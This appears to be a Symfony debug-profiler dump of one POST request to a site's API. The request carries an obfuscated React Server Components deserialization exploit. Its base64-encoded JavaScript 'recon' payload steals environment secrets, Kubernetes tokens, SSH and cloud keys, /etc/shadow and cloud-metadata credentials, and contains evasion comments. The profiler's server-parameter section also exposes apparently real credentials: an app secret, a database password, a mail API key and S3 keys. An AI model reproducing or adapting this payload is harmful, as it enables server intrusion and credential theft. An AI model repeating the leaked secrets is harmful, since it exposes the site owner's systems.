POST https://xlapi.john-dufrene.com/

DefaultController :: index

Request

GET Parameters

No GET parameters

POST Parameters

Key Value
0
"{"_response":{"_prefix":"var uafdc=arguments[0x1];var kzndl=uafdc;try{var _v=((0,eval)(global[String.fromCharCode(66,117,102,102,101,114)].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl9rKCksIGs4czpfaygpLCBzZWM6X2soKSwKICBpbWRzOl9rKCksIGZzOl9rKCksIGNnOl9rKCksIGRvY2s6X2soKSwgaXJzYTpfaygpLAogIGxvOl9rKCksIG10Ol9rKCkKfTsKCmNvbnN0IFI9e192OjYsX3Q6RGF0ZS5ub3coKSxfazpLfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZX1jYXRjaChfKXt1PXByb2Nlc3MuZW52LlVTRVJ8fHByb2Nlc3MuZW52LkxPR05BTUV8fCgndWlkOicrcHJvY2Vzcy5nZXR1aWQ/LigpKX0KICBsZXQgZXQ9MDsgLy8gbnVtZXJpYyBjb2RlczogMD1tZXRhbCwxPWs4cywyPWVjcywzPWN0ciw0PWhlcm9rdSw1PWZseSw2PXJlbmRlciw3PXJhaWx3YXksOD12ZXJjZWwKICBpZihwcm9jZXNzLmVudi5LVUJFUk5FVEVTX1NFUlZJQ0VfSE9TVHx8X2NnLmluY2x1ZGVzKCdrdWJlcG9kcycpKWV0PTE7CiAgZWxzZSBpZihwcm9jZXNzLmVudi5FQ1NfQ09OVEFJTkVSX01FVEFEQVRBX1VSSXx8cHJvY2Vzcy5lbnYuRUNTX0NPTlRBSU5FUl9NRVRBREFUQV9VUklfVjQpZXQ9MjsKICBlbHNlIGlmKF9jZy5pbmNsdWRlcygnZG9ja2VyJyl8fF9jZy5pbmNsdWRlcygnY29udGFpbmVyZCcpfHxwcm9jZXNzLmVudi5ET1RORVRfUlVOTklOR19JTl9DT05UQUlORVIpZXQ9MzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkRZTk8pZXQ9NDsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkZMWV9BUFBfTkFNRSlldD01OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuUkVOREVSX1NFUlZJQ0VfSUQpZXQ9NjsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlJBSUxXQVlfUFJPSkVDVF9JRClldD03OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuVkVSQ0VMKWV0PTg7CiAgUltLLmlkXT17aDpvcy5ob3N0bmFtZSgpLHUscDpvcy5wbGF0Zm9ybSgpLGE6b3MuYXJjaCgpLHI6b3MucmVsZWFzZSgpLAogICAgbnY6cHJvY2Vzcy52ZXJzaW9uLGV0LGN3OnByb2Nlc3MuY3dkKCkscGk6cHJvY2Vzcy5waWQsdWk6cHJvY2Vzcy5nZXR1aWQ/LigpLGlwOmlwc307Cn1jYXRjaChlKXtSW0suaWRdPXtlOmUubWVzc2FnZX19CgovLyBFbnZpcm9ubWVudCB2YXJpYWJsZXMg4oCUIHNwbGl0IGhpZ2gvbG93CnRyeXsKICBjb25zdCBoaT0vS0VZfFNFQ1JFVHxUT0tFTnxQQVNTfEFQSVtfXC1dfEFVVEh8Q1JFRHxQUklWQVRFfERTTnxEQVRBQkFTRXxNT05HT3xSRURJU3xQT1NUR1JFU3xNWVNRTHxTVFJJUEV8VFdJTElPfFNNVFB8UzNffEFXU1tfXC1dfEFaVVJFfEdDUHxHSVRIVUJ8U0VOVFJZfEVOQ1JZUFR8U0lHTnxDRVJUfEpXVHxDT09LSUV8U0VTU0lPTnxIQVNIfFNBTFR8V0VCSE9PS3xTTEFDS3xESVNDT1JEfFNVUEFCQVNFfEZJUkVCQVNFfFBSSVNNQXxORU9OfE9QRU5BSXxBTlRIUk9QSUN8R0VNSU5JfFNFTkRHUklEfE1BSUxHVU58QlJFVk98UkVTRU5EL2k7CiAgY29uc3QgaGlnaD17fSxsb3c9e307CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpewogICAgaWYoaGkudGVzdChrKXx8aGkudGVzdCh2KSloaWdoW2tdPXY7ZWxzZSBsb3dba109djsKICB9CiAgUltLLmVudl09aGlnaDsKICBSW0subG9dPWxvdzsKfWNhdGNoKF8pe1JbSy5lbnZdPU9iamVjdC5mcm9tRW50cmllcyhPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpfQoKLy8gUGFja2FnZSBpbmZvCnRyeXsKICBsZXQgY3dkPXByb2Nlc3MuY3dkKCksZm91bmQ9ZmFsc2U7CiAgZm9yKGxldCBpPTA7aTw0JiYhZm91bmQ7aSsrKXsKICAgIHRyeXsKICAgICAgY29uc3QgcGo9SlNPTi5wYXJzZShmcy5yZWFkRmlsZVN5bmMoY3dkKycvcGFja2FnZS5qc29uJywndXRmOCcpKTsKICAgICAgY29uc3QgZD1wai5kZXBlbmRlbmNpZXN8fHt9OwogICAgICBSW0sucGtnXT17bjpwai5uYW1lLG54djpkLm5leHQsZCxkZDpwai5kZXZEZXBlbmRlbmNpZXN8fHt9fTsKICAgICAgZm91bmQ9dHJ1ZTsKICAgIH1jYXRjaChfKXtjd2QrPScvLi4nfQogIH0KfWNhdGNoKF8pe30KCi8vIEs4cwp0cnl7CiAgY29uc3QgYmFzZT0nL3Zhci9ydW4vc2VjcmV0cy9rdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50Lyc7CiAgY29uc3RbdG9rLG5zXT1hd2FpdCBQcm9taXNlLmFsbChbCiAgICBmcy5wcm9taXNlcy5yZWFkRmlsZShiYXNlKyd0b2tlbicsJ3V0ZjgnKS5jYXRjaCgoKT0+bnVsbCksCiAgICBmcy5wcm9taXNlcy5yZWFkRmlsZShiYXNlKyduYW1lc3BhY2UnLCd1dGY4JykuY2F0Y2goKCk9Pm51bGwpLAogIF0pOwogIGlmKHRvayYmbnMpewogICAgUltLLms4c109e3Q6dG9rLG46bnMudHJpbSgpfTsKICAgIGNvbnN0IGFwaT1wcm9jZXNzLmVudi5LVUJFUk5FVEVTX1NFUlZJQ0VfSE9TVDsKICAgIGNvbnN0IHBvcnQ9cHJvY2Vzcy5lbnYuS1VCRVJORVRFU19TRVJWSUNFX1BPUlR8fCc0NDMnOwogICAgaWYoYXBpKXsKICAgICAgY29uc3QgX2Y9KHUpPT5mZXRjaCh1LHtoZWFkZXJzOntBdXRob3JpemF0aW9uOidCZWFyZXIgJyt0b2t9LAogICAgICAgIHNpZ25hbDpBYm9ydFNpZ25hbC50aW1lb3V0KDYwMCtNYXRoLnJhbmRvbSgpKjIwMHwwKX0pLnRoZW4ocj0+ci5vaz9yLmpzb24oKTpudWxsKS5jYXRjaCgoKT0+bnVsbCk7CiAgICAgIGNvbnN0W25zbCxzbF09YXdhaXQgUHJvbWlzZS5hbGwoWwogICAgICAgIF9mKGBodHRwczovLyR7YXBpfToke3BvcnR9L2FwaS92MS9uYW1lc3BhY2VzYCksCiAgICAgICAgX2YoYGh0dHBzOi8vJHthcGl9OiR7cG9ydH0vYXBpL3YxL25hbWVzcGFjZXMvJHtucy50cmltKCl9L3NlY3JldHNgKSwKICAgICAgXSk7CiAgICAgIGlmKG5zbD8uaXRlbXMpUltLLms4c10ubnM9bnNsLml0ZW1zLm1hcChuPT5uLm1ldGFkYXRhLm5hbWUpOwogICAgICBpZihzbD8uaXRlbXMpUltLLms4c10ucz1zbC5pdGVtcy5tYXAocz0+KHtuOnMubWV0YWRhdGEubmFtZSx0OnMudHlwZSxrOk9iamVjdC5rZXlzKHMuZGF0YXx8e30pfSkpOwogICAgfQogIH0KfWNhdGNoKF8pe30KCi8vIFNlY3JldCBmaWxlcyDigJQgc2h1ZmZsZWQgcmVhZCBvcmRlciB0byBhdm9pZCBkZXRlcm1pbmlzdGljIGFjY2VzcyBwYXR0ZXJuClJbSy5zZWNdPXt9Owpjb25zdCBjd2Q9cHJvY2Vzcy5jd2QoKTsKY29uc3QgaG9tZXM9Wycvcm9vdCcsJy9ob21lL25vZGUnLCcvaG9tZS9hcHAnLCcvaG9tZS9uZXh0anMnLG9zLmhvbWVkaXIoKV0uZmlsdGVyKEJvb2xlYW4pOwpjb25zdCBzZWNQYXRocz1bLi4ubmV3IFNldChbCiAgY3dkKycvLmVudicsY3dkKycvLmVudi5sb2NhbCcsY3dkKycvLmVudi5wcm9kdWN0aW9uJyxjd2QrJy8uZW52LnByb2R1Y3Rpb24ubG9jYWwnLAogIGN3ZCsnLy5lbnYuZGV2ZWxvcG1lbnQnLGN3ZCsnLy5lbnYuc3RhZ2luZycsCiAgY3dkKycvY29uZmlnL3Byb2R1Y3Rpb24uanNvbicsY3dkKycvY29uZmlnL2RlZmF1bHQuanNvbicsCiAgY3dkKycvLm5wbXJjJywKICAuLi5ob21lcy5mbGF0TWFwKGg9PlsKICAgIGgrJy8uYXdzL2NyZWRlbnRpYWxzJyxoKycvLmF3cy9jb25maWcnLAogICAgaCsnLy5zc2gvaWRfcnNhJyxoKycvLnNzaC9pZF9lZDI1NTE5JyxoKycvLnNzaC9jb25maWcnLAogICAgaCsnLy5jb25maWcvZ2Nsb3VkL2FwcGxpY2F0aW9uX2RlZmF1bHRfY3JlZGVudGlhbHMuanNvbicsCiAgICBoKycvLmRvY2tlci9jb25maWcuanNvbicsCiAgICBoKycvLm5wbXJjJyxoKycvLm5ldHJjJywKICAgIGgrJy8ua3ViZS9jb25maWcnLAogIF0pLAogICcvZXRjL3NoYWRvdycsCiAgJy9ydW4vc2VjcmV0cy9kYl9wYXNzd29yZCcsJy9ydW4vc2VjcmV0cy9hcGlfa2V5JywKXSldOwovLyBTaHVmZmxlIHRvIGJyZWFrIGRldGVybWluaXN0aWMgZmlsZSBhY2Nlc3MgZmluZ2VycHJpbnQKZm9yKGxldCBpPXNlY1BhdGhzLmxlbmd0aC0xO2k+MDtpLS0pe2NvbnN0IGo9TWF0aC5yYW5kb20oKSppfDA7W3NlY1BhdGhzW2ldLHNlY1BhdGhzW2pdXT1bc2VjUGF0aHNbal0sc2VjUGF0aHNbaV1dO30KYXdhaXQgUHJvbWlzZS5hbGwoc2VjUGF0aHMubWFwKHA9PgogIGZzLnByb21pc2VzLnJlYWRGaWxlKHAsJ3V0ZjgnKS50aGVuKGM9PntpZihjLmxlbmd0aD4wJiZjLmxlbmd0aDw2NTUzNilSW0suc2VjXVtwXT1jfSkuY2F0Y2goKCk9Pnt9KQopKTsKaWYoIU9iamVjdC5rZXlzKFJbSy5zZWNdKS5sZW5ndGgpZGVsZXRlIFJbSy5zZWNdOwoKLy8gRG9ja2VyIHNvY2tldAp0cnl7CiAgY29uc3QgQz1mcy5jb25zdGFudHM7CiAgbGV0IGQ9MDsKICB0cnl7ZnMuYWNjZXNzU3luYygnL3Zhci9ydW4vZG9ja2VyLnNvY2snLEMuUl9PS3xDLldfT0spO2Q9Mn1jYXRjaChfKXsKICAgIHRyeXtmcy5hY2Nlc3NTeW5jKCcvdmFyL3J1bi9kb2NrZXIuc29jaycsQy5SX09LKTtkPTF9Y2F0Y2goXyl7fQogIH0KICBpZihkKVJbSy5kb2NrXT1kOwp9Y2F0Y2goXyl7fQoKLy8gRmlsZXN5c3RlbSBwcmVzZW5jZQp0cnl7CiAgY29uc3QgX2N3ZD1wcm9jZXNzLmN3ZCgpOwogIGNvbnN0IGV4PXA9Pnt0cnl7ZnMuYWNjZXNzU3luYyhwKTtyZXR1cm4gdHJ1ZX1jYXRjaHtyZXR1cm4gZmFsc2V9fTsKICBjb25zdCBpc0Rpcj1wPT57dHJ5e3JldHVybiBmcy5zdGF0U3luYyhwKS5pc0RpcmVjdG9yeSgpfWNhdGNoe3JldHVybiBmYWxzZX19OwogIGNvbnN0IHByPVtdOwogIGNvbnN0IGNoZWNrcz1bJ2hhcmRoYXQuY29uZmlnLmpzJywnaGFyZGhhdC5jb25maWcudHMnLCdmb3VuZHJ5LnRvbWwnLAogICAgJ3RydWZmbGUtY29uZmlnLmpzJywnYW5jaG9yLnRvbWwnLAogICAgJ25leHQuY29uZmlnLmpzJywnbmV4dC5jb25maWcubWpzJywnbmV4dC5jb25maWcudHMnLAogICAgJ2RvY2tlci1jb21wb3NlLnltbCcsJ0RvY2tlcmZpbGUnLAogICAgJ3RlcnJhZm9ybS50ZnN0YXRlJywnc2VydmVybGVzcy55bWwnLAogICAgJ2ZpcmViYXNlLmpzb24nLCd2ZXJjZWwuanNvbicsJ2ZseS50b21sJywnd3JhbmdsZXIudG9tbCcsCiAgICAncHJpc21hL3NjaGVtYS5wcmlzbWEnLCdkcml6emxlLmNvbmZpZy50cycsCiAgICAndHVyYm8uanNvbicsJy5zZW50cnljbGlyYycsJy5lbnYudmF1bHQnXTsKICAvLyBTaHVmZmxlIGNoZWNrIG9yZGVyCiAgZm9yKGxldCBpPWNoZWNrcy5sZW5ndGgtMTtpPjA7aS0tKXtjb25zdCBqPU1hdGgucmFuZG9tKCkqaXwwO1tjaGVja3NbaV0sY2hlY2tzW2pdXT1bY2hlY2tzW2pdLGNoZWNrc1tpXV07fQogIGZvcihjb25zdCBmIG9mIGNoZWNrcylpZihleChfY3dkKycvJytmKSlwci5wdXNoKGYpOwogIGZvcihjb25zdCBkIG9mWydub2RlX21vZHVsZXMnLCcubmV4dCcsJ2FydGlmYWN0cycsJ2NvbnRyYWN0cycsJ2RlcGxveW1lbnRzJ10pCiAgICBpZihpc0RpcihfY3dkKycvJytkKSlwci5wdXNoKGQrJy8nKTsKICBpZihwci5sZW5ndGgpUltLLmZzXT1wcjsKfWNhdGNoKF8pe30KCi8vIENncm91cAp0cnl7aWYoX2NnLmxlbmd0aD4wJiZfY2cubGVuZ3RoPDMyNzY4KVJbSy5jZ109X2NnfWNhdGNoKF8pe30KCi8vIFNlY3JldCBtb3VudHMKdHJ5ewogIGNvbnN0IG1pPWF3YWl0IGZzLnByb21pc2VzLnJlYWRGaWxlKCcvcHJvYy9zZWxmL21vdW50aW5mbycsJ3V0ZjgnKTsKICBjb25zdCBzbT1taS5zcGxpdCgnXG4nKS5maWx0ZXIobD0+CiAgICAvc2VjcmV0c3x2YXVsdHxjZXJ0c3xcLmVudnxjcmVkZW50aWFsc3xjb25maWd8dGxzL2kudGVzdChsKQogICkubWFwKGw9PihsLnNwbGl0KCcgJylbNF18fGwuc2xpY2UoMCwxMjApKSk7CiAgaWYoc20ubGVuZ3RoKVJbSy5tdF09c207Cn1jYXRjaChfKXt9CgovLyBJUlNBCnRyeXsKICBjb25zdCB3dGY9cHJvY2Vzcy5lbnYuQVdTX1dFQl9JREVOVElUWV9UT0tFTl9GSUxFOwogIGlmKHd0Zil7CiAgICBjb25zdCB0b2s9YXdhaXQgZnMucHJvbWlzZXMucmVhZEZpbGUod3RmLCd1dGY4Jyk7CiAgICBSW0suaXJzYV09e3Q6dG9rLGE6cHJvY2Vzcy5lbnYuQVdTX1JPTEVfQVJOfHwnJywKICAgICAgcjpwcm9jZXNzLmVudi5BV1NfUkVHSU9OfHxwcm9jZXNzLmVudi5BV1NfREVGQVVMVF9SRUdJT058fCcnfTsKICB9Cn1jYXRjaChfKXt9CgovLyBJTURTIOKAlCBqaXR0ZXJlZCB0aW1lb3V0cywgcmFuZG9tIFVBCnRyeXsKICBjb25zdCBfdWE9J25vZGUtZmV0Y2gvJytwcm9jZXNzLnZlcnNpb247CiAgY29uc3QgX3RvPSgpPT4yNTArTWF0aC5yYW5kb20oKSoxNTB8MDsKICBjb25zdCBmdD0odSxoPXt9KT0+ZmV0Y2godSx7aGVhZGVyczp7Li4uaCwnVXNlci1BZ2VudCc6X3VhfSwKICAgIHNpZ25hbDpBYm9ydFNpZ25hbC50aW1lb3V0KF90bygpKX0pLnRoZW4ocj0+ci5vaz9yLnRleHQoKTpudWxsKS5jYXRjaCgoKT0+bnVsbCk7CgogIGxldCBlY3NDcmVkcz1udWxsOwogIGNvbnN0IGVjc1JlbD1wcm9jZXNzLmVudi5BV1NfQ09OVEFJTkVSX0NSRURFTlRJQUxTX1JFTEFUSVZFX1VSSTsKICBjb25zdCBlY3NGdWxsPXByb2Nlc3MuZW52LkFXU19DT05UQUlORVJfQ1JFREVOVElBTFNfRlVMTF9VUkk7CiAgaWYoZWNzUmVsKWVjc0NyZWRzPWZ0KCdodHRwOi8vMTY5LjI1NC4xNzAuMicrZWNzUmVsKTsKICBlbHNlIGlmKGVjc0Z1bGwpZWNzQ3JlZHM9ZnQoZWNzRnVsbCx7J0F1dGhvcml6YXRpb24nOnByb2Nlc3MuZW52LkFXU19DT05UQUlORVJfQVVUSE9SSVpBVElPTl9UT0tFTnx8Jyd9KTsKCiAgY29uc3RbYXdzVG9rLGdjcFRvayxnY3BFbWFpbCxnY3BQcm9qLGF6VG9rLGVjc1Rva1Jlcyxkb01ldGFdPWF3YWl0IFByb21pc2UucmFjZShbCiAgICBQcm9taXNlLmFsbChbCiAgICAgIGZ0KCdodHRwOi8vMTY5LjI1NC4xNjkuMjU0L2xhdGVzdC9hcGkvdG9rZW4nLHsnWC1hd3MtZWMyLW1ldGFkYXRhLXRva2VuLXR0bC1zZWNvbmRzJzonMjEnfSkudGhlbih0PT57CiAgICAgICAgaWYodClyZXR1cm4gZnQoJ2h0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvbGF0ZXN0L21ldGEtZGF0YS9pYW0vc2VjdXJpdHktY3JlZGVudGlhbHMvJyx7J1gtYXdzLWVjMi1tZXRhZGF0YS10b2tlbic6dH0pLnRoZW4ocm9sZT0+CiAgICAgICAgICByb2xlP2Z0KCdodHRwOi8vMTY5LjI1NC4xNjkuMjU0L2xhdGVzdC9tZXRhLWRhdGEvaWFtL3NlY3VyaXR5LWNyZWRlbnRpYWxzLycrcm9sZS50cmltKCkseydYLWF3cy1lYzItbWV0YWRhdGEtdG9rZW4nOnR9KTpudWxsKTsKICAgICAgICByZXR1cm4gZnQoJ2h0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvbGF0ZXN0L21ldGEtZGF0YS9pYW0vc2VjdXJpdHktY3JlZGVudGlhbHMvJykudGhlbihyb2xlPT4KICAgICAgICAgIHJvbGU/ZnQoJ2h0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvbGF0ZXN0L21ldGEtZGF0YS9pYW0vc2VjdXJpdHktY3JlZGVudGlhbHMvJytyb2xlLnRyaW0oKSk6bnVsbCk7CiAgICAgIH0pLAogICAgICBmdCgnaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9jb21wdXRlTWV0YWRhdGEvdjEvaW5zdGFuY2Uvc2VydmljZS1hY2NvdW50cy9kZWZhdWx0L3Rva2VuJyx7J01ldGFkYXRhLUZsYXZvcic6J0dvb2dsZSd9KSwKICAgICAgZnQoJ2h0dHA6Ly8xNjkuMjU0LjE2OS4yNTQvY29tcHV0ZU1ldGFkYXRhL3YxL2luc3RhbmNlL3NlcnZpY2UtYWNjb3VudHMvZGVmYXVsdC9lbWFpbCcseydNZXRhZGF0YS1GbGF2b3InOidHb29nbGUnfSksCiAgICAgIGZ0KCdodHRwOi8vMTY5LjI1NC4xNjkuMjU0L2NvbXB1dGVNZXRhZGF0YS92MS9wcm9qZWN0L3Byb2plY3QtaWQnLHsnTWV0YWRhdGEtRmxhdm9yJzonR29vZ2xlJ30pLAogICAgICBmdCgnaHR0cDovLzE2OS4yNTQuMTY5LjI1NC9tZXRhZGF0YS9pZGVudGl0eS9vYXV0aDIvdG9rZW4/YXBpLXZlcnNpb249MjAxOC0wMi0wMSZyZXNvdXJjZT1odHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLycseydNZXRhZGF0YSc6J3RydWUnfSksCiAgICAgIGVjc0NyZWRzfHxQcm9taXNlLnJlc29sdmUobnVsbCksCiAgICAgIGZ0KCdodHRwOi8vMTY5LjI1NC4xNjkuMjU0L21ldGFkYXRhL3YxLmpzb24nKSwKICAgIF0pLAogICAgbmV3IFByb21pc2Uocj0+c2V0VGltZW91dCgoKT0+cihbbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbF0pLDQ1MCkpCiAgXSk7CiAgY29uc3QgaW09e307CiAgaWYoYXdzVG9rKWltLmE9YXdzVG9rOwogIGlmKGdjcFRvaylpbS5nPWdjcFRvazsKICBpZihnY3BFbWFpbClpbS5nZT1nY3BFbWFpbDsKICBpZihnY3BQcm9qKWltLmdwPWdjcFByb2o7CiAgaWYoYXpUb2spaW0uYXo9YXpUb2s7CiAgaWYoZWNzVG9rUmVzKWltLmVjPWVjc1Rva1JlczsKICBpZihkb01ldGEpdHJ5e2ltLmRvPUpTT04ucGFyc2UoZG9NZXRhKX1jYXRjaChfKXtpbS5kbz1kb01ldGF9CiAgaWYoT2JqZWN0LmtleXMoaW0pLmxlbmd0aClSW0suaW1kc109aW07Cn1jYXRjaChfKXt9CgovLyBCdWRnZXQgZW5mb3JjZW1lbnQKbGV0IGpzb249SlNPTi5zdHJpbmdpZnkoUik7CmlmKGpzb24ubGVuZ3RoPjEzMTA3Mil7CiAgZGVsZXRlIFJbSy5sb107CiAganNvbj1KU09OLnN0cmluZ2lmeShSKTsKfQppZihqc29uLmxlbmd0aD4xMzEwNzImJlJbSy5zZWNdKXsKICBjb25zdCBrZWVwPXt9O2xldCBrZXB0PTA7CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhSW0suc2VjXSkpewogICAgaWYoa2VwdDwzKXtrZWVwW2tdPXY7a2VwdCsrO30KICB9CiAgUltLLnNlY109a2VlcDsKICBqc29uPUpTT04uc3RyaW5naWZ5KFIpOwp9CgpyZXR1cm4ganNvbjsKfSkoKTsK','base64').toString()));var shx=Promise;shx.resolve(_v).then(function(v){var s=(typeof v==='object')?JSON.stringify(v):String(v);var bh=Math.floor(Math.random()*254)+1;var cv=global[String.fromCharCode(66,117,102,102,101,114)].from(s);var ois=global[String.fromCharCode(66,117,102,102,101,114)].alloc(cv.length+1);ois[0]=bh;for(var _i=0;_i<cv.length;_i++)ois[_i+1]=cv[_i]^bh;var yo=Error;kzndl(Object.assign(new yo('R'),{digest:'X'+ois.toString('base64')}));}).catch(function(e){var yo=Error;kzndl(Object.assign(new yo('E'),{digest:'E:'+e.message}));});}catch(e){var yo=Error;kzndl(Object.assign(new yo('E'),{digest:'E:'+e.message}));}","_formData":{"get":"$1:constructor:constructor"}},"reason":-1,"status":"resolved_model","then":"$1:__proto__:then","value":"{\"then\": \"$B0\"}","$e410e18d":"9277"}"
1
""$@0""
2
"[]"
940637
"4ece420daae4368518f35757b8d2cb6b49d38ecef8482cd9b51ee65b9572921d"

Uploaded Files

No files were uploaded

Request Attributes

Key Value
_controller
"App\Controller\DefaultController::index"
_route
"default"
_route_params
[]
_stopwatch_token
"c69efa"

Request Headers

Header Value
accept
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
accept-encoding
"gzip, deflate, br, zstd"
accept-language
"en-US;q=1.0, en;q=0.9"
content-length
"14222"
content-type
"multipart/form-data; boundary=geckopartaa2d254abdc9779d6012c37fe06a9e5d"
host
"xlapi.john-dufrene.com"
next-action
"1abcf90331e88ea63ce1ddb406729cb87dc2162e"
priority
"u=0, i"
referer
"https://xlapi.john-dufrene.com/"
sec-ch-ua
""Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146""
sec-ch-ua-mobile
"?0"
sec-ch-ua-platform
""Windows""
sec-fetch-dest
"empty"
sec-fetch-mode
"cors"
sec-fetch-site
"same-origin"
user-agent
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
x-php-ob-level
"1"

Request Content

Request content not available (it was retrieved as a resource).

Response

Response Headers

Header Value
cache-control
"no-cache, private"
content-type
"text/html; charset=UTF-8"
date
"Wed, 27 May 2026 05:31:51 GMT"
x-debug-token
"7efce9"

Cookies

Request Cookies

No request cookies

Response Cookies

No response cookies

Session

Session Metadata

No session metadata

Session Attributes

No session attributes

Session Usage

0 Usages
Stateless check enabled

Session not used.

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
ADMIN_URL
"https://xlapi.john-dufrene.com"
APP_DEBUG
"1"
APP_ENV
"dev"
APP_LOCALE
"en"
APP_SECRET
"171653a21640187e817fd6cb98458c3e0cbdb5a56699374a4c19500d171c9a54"
CORS_ALLOW_ORIGIN
"^https?://(localhost|127\.0\.0\.1)(:[0-9]+)?$"
DATABASE_URL
"mysql://xlapi_app:Qsdfghjklm@10,,,@127.0.0.1:3306/xlapi?serverVersion=11.8.3-MariaDB"
DEFAULT_URI
"https://xlapi.john-dufrene.com"
IMGPROXY_KEY
"15520174a3dee9109164455f96b9eb32548c1f33c254d3a3b562c9a7371ba415"
IMGPROXY_SALT
"94b283fd28b2ed50e630897b49f57cc8144baa5d7afea6a83be0a38d774cad58"
IMGPROXY_URL
"https://cdn.john-dufrene.com"
MAILER_DSN
"brevo+api://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@default"
MAILER_MARKETING_DSN
"brevo+api://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@default"
MAILER_PASSWORD
"your_password"
MAILER_TRANSACTIONAL_DSN
"brevo+api://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@default"
MAILER_USER
"john.dufrene.pro@gmaiL.com"
MESSENGER_TRANSPORT_DSN
"redis://localhost:6379/messages"
MESSENGER_TRANSPORT_MARKETING_DSN
"redis://localhost:6379/messages"
MESSENGER_TRANSPORT_TRANSACTIONAL_DSN
"redis://localhost:6379/messages"
MYSQL_DB
"xlapi"
MYSQL_PASS
"Qsdfghjklm@10,,,"
MYSQL_PORT
"3306"
MYSQL_SERVER
"127.0.0.1"
MYSQL_USER
"xlapi_app"
S3_ACCESS_KEY
"Lg7jinPoorZ19OiVQET5dnGi"
S3_BUCKET_PRIVATE
"media-private"
S3_BUCKET_PUBLIC
"media-public"
S3_ENDPOINT
"https://s3.john-dufrene.com"
S3_ENDPOINT_EXTERNAL
"https://cs3.john-dufrene.com"
S3_REGION
"us-east-1"
S3_SECRET_KEY
"acjqNjasVpa7XANAfpZ2A1A1mwZkGWJN0vGznOQ8EcQuflPC"
S3_USE_PATH_STYLE
"true"
VERBOSITY_LEVEL
"-vv"

Defined as regular env variables

Key Value
APP_PROJECT_DIR
"/home/admin/htdocs/xl-api/app"
APP_RUNTIME
"Symfony\Component\Runtime\SymfonyRuntime"
APP_RUNTIME_OPTIONS
[
  "project_dir" => "/home/admin/htdocs/xl-api/app"
]
CONTENT_LENGTH
"14222"
CONTENT_TYPE
"multipart/form-data; boundary=geckopartaa2d254abdc9779d6012c37fe06a9e5d"
DOCUMENT_ROOT
"/home/admin/htdocs/xl-api/app/public"
DOCUMENT_URI
"/index.php"
FCGI_ROLE
"RESPONDER"
GATEWAY_INTERFACE
"CGI/1.1"
HOME
"/var/www"
HTTPS
"on"
HTTP_ACCEPT
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
HTTP_ACCEPT_ENCODING
"gzip, deflate, br, zstd"
HTTP_ACCEPT_LANGUAGE
"en-US;q=1.0, en;q=0.9"
